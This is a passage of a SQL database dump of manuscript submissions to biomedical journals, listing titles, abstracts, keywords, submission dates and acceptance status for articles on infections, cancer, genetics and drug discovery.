cancer',784,NULL,'2023-04-18',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13691,13832,251,0,'ipacm-23-13691','Staphylococcus Aureus and Skin Infections',NULL,5,0,'','Staphylococcus aureus, commonly known as \"staph,\" is a type of bacteria that is frequently found on the skin and in the nasal passages of healthy people. While S. aureus is usually harmless, it can cause a range of illnesses when it enters the body, from minor skin infections to life-threatening diseases. S. aureus can cause a variety of infections, including skin and soft tissue infections, bloodstream infections, pneumonia, and endocarditis. It is a leading cause of hospital-acquired infections and can be particularly dangerous for people with weakened immune systems. Staphylococcus aureus is a gram-positive bacterium that is a common cause of infections in both community and healthcare settings. It is a highly adaptable organism, able to survive and thrive in a variety of environments, including the human body. S. aureus infections range from minor skin infections to life-threatening conditions such as sepsis, pneumonia, and endocarditis. S. aureus produces a wide range of virulence factors that contribute to its pathogenicity. These include surface proteins that promote adhesion to host cells, toxins that damage host tissues, and enzymes that facilitate the spread of the bacterium. The ability of S. aureus to produce these factors is controlled by a complex regulatory network that responds to changes in the environment.','Staphylococcus aureus, Life-threatening diseases, Pneumonia, Immune systems',786,NULL,'2023-04-18',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13692,13833,251,0,'ipacm-23-13692','Rotavirus Infection: Symptoms and Vaccination of Rotavirus',NULL,5,0,'','Rotavirus is a highly contagious viral infection that primarily affects infants and young children, causing severe diarrhea and vomiting. It is a major cause of gastroenteritis worldwide, responsible for an estimated 128,500 deaths annually in children under five years of age. The virus is transmitted through fecal-oral route, and outbreaks can occur in crowded environments such as daycares and hospitals.\r\nThere are several vaccines available to prevent rotavirus infection, including two oral vaccines that have been shown to be highly effective in reducing the incidence of severe rotavirus gastroenteritis. These vaccines have been introduced into national immunization programs in many countries, resulting in a significant decrease in rotavirus-associated hospitalizations and deaths.\r\n','Rotavirus, viral infection, rotavirus infection, national immunization programs, rotavirus-associated hospitalizations, vaccines',790,NULL,'2023-04-18',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13693,13834,251,0,'ipacm-23-13693','A Short Note on Parastagonospora Fungi and Their Species',NULL,5,0,'','Parastagonospora is a genus of fungal pathogens that primarily infect cereal crops such as wheat, barley, and oat. This group of fungi belongs to the family Stagonosporaceae and is known to cause leaf and stem diseases, resulting in significant yield losses. Parastagonospora infections are becoming increasingly common in several countries, posing a threat to food security and agricultural sustainability. The genus Parastagonospora includes several species, each with unique morphological and genetic characteristics. These include Parastagonospora nodorum, Parastagonospora avenae, Parastagonospora tanaceti, and Parastagonospora mixta. Parastagonospora nodorum is the most well-known species and is responsible for Septoria nodorum blotch, a severe foliar disease affecting wheat crops worldwide. The other species are also known to cause significant economic losses in cereal production. Parastagonospora spp. produces a range of virulence factors, including enzymes and toxins, which contribute to their pathogenicity. These virulence factors help the fungus to penetrate plant tissues and evade host defences, leading to disease development. Parastagonospora spp. is also capable of producing mycotoxins, which pose a threat to human and animal health if contaminated grains are consumed.\r\nParastagonospora spp. is primarily spread through windborne spores, which can travel long distances, leading to rapid disease spread. The pathogen can also persist in crop residues, further contributing to the disease\'s spread. Climate change and environmental factors also play a significant role in the emergence and spread of Parastagonospora infections. ','Parastagonospora infections, Fungal pathogens, Stagonosporaceae, Climate change, stem diseases, Food security and agricultural',782,NULL,'2023-04-18',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13694,13835,251,0,'ipacm-23-13694','Microbial Genomics and Metabolize energy',NULL,5,0,'','Microbial genomics is the study of the genetic material of microorganisms, including bacteria, viruses, fungi, and protozoa. This field has rapidly evolved over the past few decades due to advances in DNA sequencing technology, bioinformatics, and computational analysis. The ability to sequence and analyse microbial genomes has revolutionized our understanding of the diversity, evolution, and function of microorganisms in the environment, in human health and disease, and in biotechnology. Microbial genomics has numerous applications, including the identification and characterization of new microbial species, the analysis of microbial communities and their functions, the development of new antibiotics and vaccines, and the optimization of industrial processes. Microbial genomics is also crucial in understanding the evolution and spread of antibiotic-resistant bacteria, which pose a significant threat to human health.\r\nMicrobial genomics is a rapidly growing field that focuses on the study of genetic material of microorganisms, including bacteria, viruses, fungi, and other microorganisms. One of the most important areas of microbial genomics is the study of how microorganisms metabolize energy. The study of microbial genomics is crucial in understanding the metabolism of microorganisms and the potential applications of microorganisms in various fields, including biotechnology, agriculture, and medicine.','Microbial genomics, genetic material, microorganisms, viruses, fungi, DNA sequencing technology, bioinformatics, microbial genomes, Microbial genomics',785,NULL,'2023-04-18',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13695,13836,251,0,'ipacm-23-13695','Mycobacterial Diseases and Tuberculosis',NULL,5,0,'','Mycobacterial diseases are caused by bacteria of the genus Mycobacterium, which includes a number of species known to infect humans, animals, and even plants. These diseases range from relatively mild and self-limiting conditions to severe, chronic illnesses that can lead to significant morbidity and mortality if left untreated. One of the most well-known mycobacterial diseases is tuberculosis (TB), caused by the bacterium Mycobacterium tuberculosis. TB is a highly contagious disease that is spread through the air when an infected person coughs or sneezes. It primarily affects the lungs but can also spread to other parts of the body, such as the brain, kidneys, or spine. Mycobacterial diseases are a group of bacterial infections caused by the Mycobacterium genus, which includes several species that can cause serious illnesses in humans and animals. Some of the most common mycobacterial diseases in humans include tuberculosis, leprosy, and non-tuberculous mycobacterial infections. Tuberculosis is caused by the bacterium Mycobacterium tuberculosis and is one of the leading causes of death from infectious diseases worldwide. It primarily affects the lungs, but can also spread to other parts of the body, leading to a range of symptoms such as cough, fever, fatigue, and weight loss.','Mycobacterium, Mycobacterial diseases, Infect humans, Mycobacterium genus, Tuberculosis ',779,NULL,'2023-04-18',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13696,13837,975,0,'ipjbs-23-13696','Stem Cell Behavior in Cancer',NULL,19,0,'','The body\'s proper operation and maintenance depend on stem cells. Undesirable ways of behaving can debilitate the insusceptible framework, making people more defenseless to contaminations and different infections. Unhealthy behaviors contribute to mental health conditions like anxiety and depression, which can have a significant impact on mental health. Stem cells contribute to the repair and regeneration of damaged tissues in healthy individuals, ensuring that organs and tissues function normally. Tumor initiation, progression, and resistance to therapy all depend on cancer stem cells (CSCs). CSCs\' uncontrolled self-renewal and differentiation may result in the development of tumors and the body-wide spread of cancer. CSCs are impervious to traditional disease treatments like chemotherapy and radiation, prompting backslide and unfortunate therapy results. Studies have shown that CSCs can suppress immune responses, resulting in a weakened immune system and increased susceptibility to infections. This behavior of CSCs can affect the immune system. Age-related diseases like Alzheimer\'s and Parkinson\'s can develop as a result of stem cell dysfunction, which can result in a decline in tissue regeneration and repair. For the development of new therapies that target CSCs and improve treatment outcomes, it is essential to have an understanding of the mechanisms that regulate the behavior of stem cells. The treatment of a variety of diseases could be completely transformed by therapies that are based on stem cells. However, stem cell-based therapies\' limitations and risks must be carefully evaluated and monitored. New approaches to stem cell-based therapies that minimize risks and maximize benefits are currently being investigated. Stem cell health and overall health outcomes can be improved through lifestyle changes like eating a healthy diet, exercising regularly, and reducing stress. All in all, the way of behaving of undeveloped cells, especially CSCs, can fundamentally affect the body, prompting the turn of events and movement of malignant growth, debilitated resistant framework, and age-related illnesses.','stem cells, cancer stem cells, immune system, regenerative medicine, age-related diseases, behavior, self-renewal, differentiation, tumor microenvironment, gene editing, induced pluripotent stem cells, FDA, regenerative medicine, therapy, health outcomes, exercise, stress reduction.',5410,NULL,'2023-04-19',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13697,13838,975,0,'ipjbs-23-13697','Genetics in Living Organisms',NULL,6,0,'','Genetics plays a crucial role in every living organism, as genetic information is encoded within the DNA of cells and is responsible for the inheritance of traits from one generation to the next. Gene alterations can impact the expression and function of genes, affecting the hereditary traits that are passed down to offspring. Homozygous genes have identical alleles, while heterozygous genes have two different alleles, which can result in more variation in offspring. Genetic testing and research can help identify genetic differences that may increase the risk for certain diseases, allowing for targeted treatments and prevention strategies. While genetic differences are a natural part of biological diversity, it is important to approach them with an open mind and promote education and understanding to combat discrimination and promote inclusivity.','Genetics, Biological Diversity',4089,NULL,'2023-04-19',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13698,13839,975,0,'ipjbs-23-13698','Mutation Diversity in Human Body',NULL,6,0,'','Mutations are changes in the genetic code that can lead to harmful effects, such as genetic diseases and disorders. However, some dangerous mutations can also have unexpected benefits. For example, the sickle cell mutation provides protection against malaria, and the CCR5 mutation provides protection against HIV. Researchers are also exploring how dangerous mutations can be used to develop new treatments for genetic disorders, such as using a mutation associated with Huntington\'s disease to develop new cancer treatments. While dangerous mutations can have negative effects, it is important to continue studying their potential benefits in order to fully understand their impact on human health.','mutations, genetic code, harmful effects, genetic diseases, sickle cell mutation, malaria, CCR5 mutation, HIV, new treatments, genetic disorders, cancer treatments.',5410,NULL,'2023-04-19',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13699,13840,975,0,'ipjbs-23-13699',' A note on the Bacteria in Humans',NULL,6,0,'','The human body is home to a vast array of bacteria, which play important roles in supporting various bodily processes. While some bacteria are harmless or even beneficial, others can cause infections and other illnesses. Examples of harmful bacteria include Staphylococcus aureus, which can cause skin infections, pneumonia, and other illnesses, and Escherichia coli, which can cause food poisoning and other infections. Non-harmful bacteria include Staphylococcus epidermidis, which is found on the skin and is generally non-pathogenic, and Bacteroides fragilis, which is important for digestion in the gut. It\'s important to note that the categorization of bacteria as harmful or non-harmful is not always straightforward, as some bacteria can have different effects depending on factors like the location in the body and other environmental factors. Understanding the roles that bacteria play in the human body, as well as their potential to cause harm, is important for maintaining overall health and preventing the spread of infectious diseases.',' bacteria, food poisoning, health ',5410,NULL,'2023-04-19',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13700,13843,277,0,'ipadm-23-13700','Advances in Diagnosis and Treatment of Cardiovascular Disease: A Review of the Latest Research and Clinical Practice',NULL,5,0,'',' ',' ',5022,NULL,'2023-04-20',NULL,'Submitted',2,NULL,'2023-06-20',NULL,1,1,'1','Accepted to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13701,13255,996,0,'ipar-23-13701','A comprehensive study on Knee Brace for future guidelines',NULL,5,0,'','The article is a comprehensive study on knee braces, highlighting their effectiveness in reducing knee joint pain and instability. The study underscores the importance of knee braces and other interventions in the prevention and management of knee injuries, particularly in athletes and individuals with pre-existing knee conditions. The study further recommends that healthcare professionals incorporate the use of knee braces into their treatment plans and recommends further research into the design and functionality of knee braces for improved outcomes. Overall, the study provides useful insights and recommendations for future guidelines on the use of knee braces.','Keywords: Knee braces, Joint pain, Prophylactic braces, Rehabilitative braces',3649,NULL,'2023-04-20',NULL,'Submitted',2,NULL,'2023-04-25',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13703,13845,73,0,'ipjnn-23-13703','Fast object perception ',NULL,3,2,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',336,NULL,'2023-04-21',NULL,'Submitted',2,NULL,'2023-07-01',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13705,13847,91,0,'ijddr-23-13705','Collaboration and Partnerships in Drug Discovery: Advancing Healthcare Together',NULL,5,0,'','Collaboration and partnerships have become increasingly important in drug discovery as the complexity of diseases and the costs associated with drug development continue to rise. This abstract will discuss the role of collaboration and partnerships in advancing healthcare through drug discovery. The paper will explore different types of collaborations, such as public-private partnerships, academic-industry partnerships, and inter-industry partnerships, and highlight their advantages and challenges. The benefits of collaboration in drug discovery, including access to complementary expertise, resources, and technology, will be discussed. Additionally, the importance of open innovation, pre-competitive collaborations, and data sharing in accelerating drug discovery and reducing costs will be emphasized. Finally, the paper will examine successful collaborations and partnerships in drug discovery, providing case studies to illustrate how effective collaborations can lead to new treatments and therapies that improve patient outcomes. Overall, the paper will show how collaboration and partnerships are critical to advancing healthcare and drug discovery and highlight the need for continued collaboration in the field.','Healthcare; Drug resistance; Collaboration; Research and development; Pharmaceutical industry; Drug discovery',3391,NULL,'2023-04-21',NULL,'Submitted',2,NULL,'2023-04-22',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13706,13848,91,0,'ijddr-23-13706','Exploring Natural Products for Drug Discovery',NULL,5,0,'','Natural products have been an important source of drugs for centuries, providing treatments for a wide range of diseases. With the increasing demand for new and effective drugs, the search for natural products with therapeutic potential has become an important area of research in drug discovery. In this article, we explore the potential of natural products as a source of new drugs, and discuss the various approaches used to identify and isolate these compounds. We begin by discussing the chemical diversity of natural products and the potential benefits they offer in drug discovery, including their structural complexity and ability to interact with multiple biological targets. We then review the various approaches used to identify and isolate natural products, including traditional ethno botanical methods, bioassay-guided fractionation, and high-throughput screening.\r\nNext, we explore the challenges associated with natural product drug discovery, including the limited availability of some natural products, the difficulty of synthesizing complex natural product compounds, and the potential for toxicity and adverse effects. We also discuss the importance of sustainable sourcing and ethical considerations in the collection and use of natural products for drug discovery. Finally, we highlight some recent examples of natural products that have been developed into drugs or are in clinical development, including artemisinin for malaria, paclitaxel for cancer, and rapamycin for immunosuppression. We conclude by emphasizing the continued importance of natural products as a source of new drugs and the need for on-going research in this area. Overall, exploring natural products for drug discovery holds great promise for the development of new and effective treatments for a wide range of diseases.\r\n','Natural products; Drug discovery; bioactive compounds; Phytochemicals; Drug screening; Natural product isolation; Herbal medicine',3391,NULL,'2023-04-21',NULL,'Submitted',2,NULL,'2023-04-25',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(13708,13850,91,0,'ijddr-23-13708','Acute Lung Injury and Sepsis Pharmacology',NULL,5,0,'','One of the main causes of death in sepsis is acute lung damage (ALI) linked to the condition. As a result, numerous pharmacological and nonpharmacological techniques have been used to slow its progression. Few of these tactics have actually been successful. The epidemiology and pathophysiology of ALI, frequently used pharmacologic and nonpharmacologic treatments, and novel therapeutic modalities that are anticipated to be the subject of future trials are all covered in this article.','Acute lung injury; Sepsis; Pharmacology; Immune response; Cytokines; Epidemiology; Anti-inflammatory agents',2427,NULL,'2023-04-21',NULL,'Submitted',2,NULL,'2023-04-25',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13709,13844,996,0,'ipar-23-13709','Effective treatment with exercise for those who experiences ankylosing spondylitis',NULL,5,0,'','There is a lack of detailed information to guide exercise prescription, including the type and dosage of exercise required for the greatest benefit, despite Level 1b evidence and international consensus that exercise is beneficial in ankylosing spondylitis. This cooperative undertaking, consolidating proof with clinical ability, was laid out to foster functional proposals to direct feasible activity solution for people with AS.\r\nUtilizing a changed Delphi strategy, 10 clinical inquiries were produced and an orderly writing survey was directed for each. Based on the integration of evidence summaries and expert opinion, draft recommendations were developed during a two-day meeting. Prior to finalization, patient and health professional groups provided feedback.\r\nFor the following areas, recommendations and practice points were created: assessment; monitoring; safety; infection the board; exercise tailored to the AS; sporting activities; setting, dosage, and adherence. A framework for exercise in other chronic musculoskeletal conditions was developed. The feedback suggests that the final consensus statement contains information that is helpful to those attempting to provide exercise prescriptions for AS patients based on best practices.\r\nThe recommendations offer an up-to-date, evidence-based approach to the entire range of issues associated with the use of exercise in AS and highlight evidence gaps that call for additional investigation. Most importantly, this includes looking into the aspects of exercise program design that are necessary to produce the greatest effect, long-term exercise program adherence, and the particular exercise requirements of AS subgroups. To achieve optimal exercise outcomes, the guidelines must be widely disseminated and implemented.','ankylosing spondylitis, exercise, clinical ability, side effect',3649,NULL,'2023-04-21',NULL,'Submitted',2,NULL,'2023-04-25',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13710,13313,996,0,'ipar-23-13710','Overview of Diagnosis and Treatment Options of Autoimmune Disease: Cutaneous Lupus ',NULL,5,0,'','Foundational lupus erythematosus is a persistent provocative condition which influences dominatingly ladies in their 30s. Skin lesions that fall under the categories of acute cutaneous lupus erythematosus, subacute clinical manifestations include cutaneous lupus erythematosus and chronic cutaneous lupus erythematosus. It is recommended to treat cutaneous lupus in a variety of ways.','Autoimmune Disease, Lupus, Skin lesions, Clinical manifestations',3649,NULL,'2023-04-22',NULL,'Submitted',2,NULL,'2023-04-25',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13713,13852,971,0,'ipaclr-23-13713','Interpretation of Laboratory Results: A Practical Guide for Healthcare Providers',NULL,17,0,'','Laboratory services play an integral role in the healthcare system - from primary- through to tertiary-level care – since diagnostic tests can either confirm or exclude a tentative diagnosis, or screen for potential diseases. The underlying purpose of laboratory testing lies in the association between laboratory test results and the potential to improve a patient’s health status. This requires ordering a test when appropriate and necessary, accurate interpretation, and acting upon the result.','Laboratory services, Healthcare system, laboratory test, Healthcare Providers, Clinical context.',3236,NULL,'2023-04-22',NULL,'Submitted',2,NULL,'2023-06-15',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13714,13853,971,0,'ipaclr-23-13714','Clinical Chemistry in Drug Monitoring and Therapeutic Drug Management',NULL,13,0,'','Clinical laboratory chemistry is a branch of medical science that focuses on the analysis of body fluids and tissues to aid in the diagnosis, monitoring, and management of diseases. It involves a wide range of methods and techniques for the detection, measurement, and interpretation of various chemical components in biological specimens, such as blood, urine, cerebrospinal fluid, and others. Clinical laboratory chemistry plays a critical role in modern healthcare, providing valuable information to clinicians for the diagnosis and treatment of patients.','Clinical laboratory,  Chemistry, Biological specimens, Blood, Urine, Cerebrospinal fluid, Treatment.',3249,NULL,'2023-04-22',NULL,'Submitted',2,NULL,'2023-06-15',NULL,1,1,'0','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13715,13854,971,0,'ipaclr-23-13715','Genetics and Genomics in Medicine and factors of its rare diseases',NULL,3,0,'','Medical genetics and genomics is an important field of medicine that involves the study of genetic factors in human health and disease. It encompasses a range of disciplines, including clinical genetics, molecular genetics, cytogenetic, and genomics. Health professionals, such as physicians, nurses, and genetic counsellors, play a critical role in this field by helping patients understand the role of genetics in their health and providing appropriate counselling and care.','Medical genetics, Genomics, Human health, Diagnosis , Genetic .',5383,NULL,'2023-04-22',NULL,'Submitted',2,NULL,'2023-06-15',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13716,13856,959,0,'ipacr-23-13716','Cervical Cancer',NULL,15,0,'','Cancer is a condition in which the body\'s cells proliferate unchecked. Even if it later spreads to other body areas, cancer is always designated after the area of the body where it first develops. Cervical cancer is a kind of cancer that first appears in the cervix. The vagina (birth canal) and the top portion of the uterus are joined by the cervix. When a woman is pregnant, the baby develops in the uterus (also known as the womb). Cervical cancer is a danger for anybody who has one. People over 30 are more likely to experience it. Cervical cancer is mostly brought on by persistent human papillomavirus (HPV) infection. A common virus called HPV is transmitted during intercourse from one person to another. At some time in their life, at least half of those who engage in sexual activity will have HPV, yet few women will get cervical cancer. Cervical cancer can be avoided with the use of screening tests and the HPV vaccination. Early detection of cervical cancer greatly improves treatment options, length of survival, and quality of life.','',5400,NULL,'2023-04-22',NULL,'Submitted',2,NULL,'2023-04-27',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13717,13857,959,0,'ipacr-23-13717','Breast Cancer Subtypes and SARS-Cov-2 M Protein Encourage the Malignant Transformation of Breast Cancer Cells',NULL,25,0,'','Breast cancer is the most typical malignancy among women. Bosom illness subgroups are categorised by histologic features, such as receptor status and shape. Clinical decisions can be made using information on the declaration of the oestrogen receptor (emergency room), progesterone receptor, human epidermal development factor receptor 2 (HER2), and the multiplication record Ki67 (in early phase illness). Molecular testing are now accessible to further divide the illness into subgroups, stratify risk, or calculate the advantages of therapies. Triple-negative breast cancer (TNBC) is a very diverse disorder with poor clinical results due to the overexpression of the human epidermal growth factor receptor 2 (HER2), the lack of expression of the oestrogen and progesterone receptors, and the lack of targeted therapies. Improved stratification methods that take into account inherent and clinically significant variations between TNBC tumours would therefore help to focus treatment plans and improve clinical outcomes.','',3142,NULL,'2023-04-22',NULL,'Submitted',2,NULL,'2023-04-27',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13718,13855,971,0,'ipaclr-23-13718','Immune evasion strategies employed by Plasmodium and Immune pathogenesis of malaria',NULL,11,0,'','Malaria is a parasitic disease caused by the Plasmodium species, transmitted by the female Anopheles mosquito. It remains a significant public health issue, with an estimated 229 million cases and 409,000 deaths worldwide in 2019. The immune response to Plasmodium infection is complex, involving both innate and adaptive immune mechanisms. In this essay, we will discuss the immunology and immunopathogenesis of malaria, including the immune response to infection, the role of immune evasion strategies employed by the parasite, and how these factors contribute to the development of disease.','Malaria, Parasitic disease, Plasmodium infection, Immunopathogenesis, Immune mechanisms.',5381,NULL,'2023-04-22',NULL,'Submitted',2,NULL,'2023-06-15',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13719,13858,959,0,'ipacr-23-13719','Follicular Carcinoma Thyroid Metastasis',NULL,25,0,'','Thyroid cancer is much more common than it was a few decades ago, with an estimated incidence of 20.0 occurrences per 100,000 women and 6.3 cases per 100,000 males in 2012. In Portugal and South Korea, thyroid cancer is already the third most prevalent cancer in women. In South Korea, thyroid cancer is currently the most common kind of cancer diagnosed. The likelihood of surviving for five years is high—more than 85%. But when differentiated thyroid carcinoma (DTC) is diagnosed, 1-4% of patients have distant disease, and 7-23% go on to develop metastatic illness. The patient\'s chance of life for 10 years is reduced by 50% by these metastases, which mostly affect the lungs and bones. Overall, 2-13% of individuals with DTC develop bone metastases (BM). The development of skeletal-related events (SRE), such as pathologic fractures, spinal cord compression, or the requirement for surgery or radiation, is another possibility for individuals with BM. This might worsen the prognosis and lower the patient\'s quality of life. Due to a number of characteristics, such as increased blood flow in regions with red marrow, the bone is a tissue that has a high propensity for metastases. The histological type most often linked to BM in the literature is follicular thyroid cancer (FTC). Radioiodine therapy (RAIT), surgery, radiation, and bisphosphonates are all possible treatments for BM.','',5428,NULL,'2023-04-22',NULL,'Submitted',2,NULL,'2023-04-27',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13720,13859,959,0,'ipacr-23-13720','Exosomes produced from cancer cells\' genomic and proteomic composition',NULL,25,0,'','Exosomes produced by tumours (called tumor-derived exosomes, or TDEs) are involved in the initiation and development of several cancerous processes, such as tumour microenvironment (TME) remodelling, angiogenesis, invasion, metastasis, and drug resistance. Exosomes deliver diverse payloads to destination cells, where they activate or inhibit multiple signalling pathways. We go through exosome biosynthesis, exosome-mediated metastasis, and chemoresistance in this review. The involvement of tumor-derived exosomes in angiogenesis and the remodelling of the tumour microenvironment is also discussed. Additionally, epithelial mesenchymal transition (EMT) exosome induction is underlined. More significantly, we go into great detail on how exosomes control treatment resistance in various malignancies. In order to develop new therapeutic approaches for cancer progression, particularly to overcome therapy-resistance and prevent metastasis as major factors of cancer mortality, it may be helpful to understand exosome biogenesis, their contents, and the molecular mechanisms and signalling pathways that are responsible for metastasis and drug-resistance mediated by TDEs.','',5428,NULL,'2023-04-22',NULL,'Submitted',2,NULL,'2023-04-27',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13721,13860,959,0,'ipacr-23-13721','Renal Cell Cancer',NULL,25,0,'','Malignant (cancer) cells are located in the lining of kidney tubules, which are incredibly tiny tubes. This condition is known as renal cell cancer, kidney cancer, or renal cell adenocarcinoma. On either side of the spine, above the waist, are two kidneys, one on each side. Blood is filtered and cleaned by tiny kidney tubules. Urine is created by removing waste. One lengthy tube called a ureter connects each kidney to the bladder, where the urine is excreted. Up until the urethra allows it to exit the body, the bladder stores the pee.','',5428,NULL,'2023-04-22',NULL,'Submitted',2,NULL,'2023-04-27',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13722,13861,971,0,'ipaclr-23-13722','The Challenge of Developing Drugs for the Nervous System: Current Strategies and Future Directions',NULL,19,0,'','Clinical drug development is the process of bringing a new medication or therapy from the laboratory to the patient. It involves a series of phases that test the safety and efficacy of the drug in humans, as well as its potential side effects. The first phase of clinical drug development is typically done on a small group of healthy volunteers to determine the safety and dosage of the drug. This is followed by phase II, which involves a larger group of people with the condition the drug is intended to treat, to test its efficacy and optimal dosage.','Clinical drug, Therapy, Medication, Side effects, Sensory perception, Effective drugs.',5380,NULL,'2023-04-22',NULL,'Submitted',2,NULL,'2023-06-15',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13724,13862,996,0,'ipar-23-13724','The relation between Psoriatic Arthritis and immune system in human body ',NULL,5,0,'','This study examines how the immune system of humans is affected by psoriatic arthritis. Here, we discuss the conditions that can arise as a result of Psoriatic Arthritis. At the point when human resistant framework diminishes it assault the muscle and joints in the body because of those people groups are feeling a few joint torments. It typically manifests itself in older individuals as their immune systems weaken with age.','Psoriatic Arthritis, Immune system, Diabetes, Cancer',3649,NULL,'2023-04-22',NULL,'Submitted',2,NULL,'2023-04-25',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13726,13863,86,0,'ipaom-23-13726','Cortical Gray Matter Structural Changes in Obese on 3T MRI',NULL,14,0,'','Background: Obesity is associated with imbalanced energy intake and expenditure. Many studies have been conducted on obesity and brain morphometric structural changes. However, the findings have been inconsistent and the exact relationships between obesity and brain structural changes are unclear. We aimed to examine the structural alterations of cortical gray matter be-tween obese patients and healthy controls with normal weight. Methods: 21 obese patients (age=24.05±3.41 years; body mass index [BMI]=29.81±3.89 kg/m2) were age-matched with 17 healthy controls (age=25.65±4.29 years; [BMI]=22.46±1.43 kg/m2). High-resolution T1-weighted MPRAGE 3D scans were acquired on a 3T MRI scanner. FreeSurfer and FSL-FIRST were used to examine cortical thickness, surface area, and volume. Results: The obese patients exhibited in-creased and decreased cortical structural brain alterations in frontal, parietal, temporal, and oc-cipital cortex area summarize the article’s main findings. Our results suggest that morphological changes of brain structures can lead to functional variations that worsen food intake behavior. Conclusions: The current study presents the association between obesity and structural brain differences in several cortical gray matter regions involved in food intake regulation. Therefore, we believe that alterations in brain structure could be neuronal markers in understanding how obesity develops.','Obesity; Cortical thickness; Cortical surface area; Cortical volume',3978,NULL,'2023-04-24',NULL,'Submitted',2,NULL,'2023-05-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13727,13851,996,0,'ipar-23-13727','An Analysis for the Patients who Suffered by Metastatic Bone Disease',NULL,5,0,'','In order to better understand Xgeva-treated treatment-emergent hypocalcemia in patients with bone metastases, this analysis was carried out. Data from three identically designed phase 3 trials of subcutaneous Xgeva 120 mg versus intravenous zoledronic acid 4 mg were used to analyze laboratory abnormalities and hypocalcaemia-related adverse events in patients with metastatic bone disease. Xgeva was associated with a higher overall rate of laboratory manifestations of hypocalcaemia of grade 2 than zoledronic acid. In most cases, hypocalcaemia events of grade 2 severity occurred within the first six months of treatment. Patients who revealed taking calcium as well as vitamin D enhancements had a lower rate of hypocalcaemia. Significant risk factors for developing hypocalcaemia included prostate cancer or small-cell lung cancer, decreased creatinine clearance, and elevated baseline bone turnover markers of urinary N-telopeptide of type I collagen and bone-specific alkaline phosphatase values. Patients with more than two bone metastases at baseline were more likely to be at risk for elevated BSAP levels than those with fewer than two. Xgeva had a greater antiresorptive effect than zoledronic acid, as evidenced by its higher frequency of hypocalcaemia. Before beginning treatment with a powerful osteoclast inhibitor, low serum calcium levels and potential vitamin D deficiency should be corrected, and corrected serum calcium levels should be monitored throughout treatment. The risk of hypocalcaemia appears to be significantly reduced with adequate calcium and vitamin D intake.','Metastatic bone disease; Xgeva; Anti-resorptive effect; Zoledronic acid',3649,NULL,'2023-04-24',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13728,13864,91,0,'ijddr-23-13728','Drug Absorption and Metabolism: Understanding the Journey of Medications inside the Body',NULL,5,0,'','Drug absorption and metabolism are crucial processes that determine the efficacy and safety of drugs in the human body. The absorption of drugs depends on their physicochemical properties, such as solubility, lipophilicity, and molecular size, as well as the characteristics of the gastrointestinal tract, such as pH, motility, and permeability. Once absorbed, drugs undergo biotransformation by various enzymes, predominantly in the liver, to generate metabolites that are either inactive or active, and can be eliminated through the kidneys or bile. The metabolic fate of drugs can be influenced by genetic variations, drug-drug interactions, and disease states, leading to interindividual variability in drug response and toxicity. Understanding the mechanisms of drug absorption and metabolism is crucial for optimizing drug design and dosing, predicting drug-drug interactions, and minimizing adverse drug reactions.\r\nDrug absorption and metabolism are complex processes that involve numerous factors and interactions. The physicochemical properties of drugs determine their ability to cross biological barriers, such as the intestinal epithelium or the blood-brain barrier, and reach their target site of action. For example, drugs that are hydrophilic and have a high molecular weight may have limited absorption, while those that are lipophilic and have a low molecular weight may be rapidly absorbed.\r\n','Drug absorption; Metabolism; Drug Development; Complex processes; Biological barriers',3193,NULL,'2023-04-25',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13729,13759,45,0,'iphsj-23-13729','Exploratory factor model of immersive formation in the COVID-19 era ',NULL,14,0,'','The psychological studies of organizations, about human capital, have shown that this factor increases to the extent that the environmental demands are intensified, but it is the intellectual trait that acquires the greatest value when considered as the main intangible asset. of an organization. In this way, the objective of this paper was to expose the theoretical, conceptual and empirical frameworks related to human capital in order to establish discussion 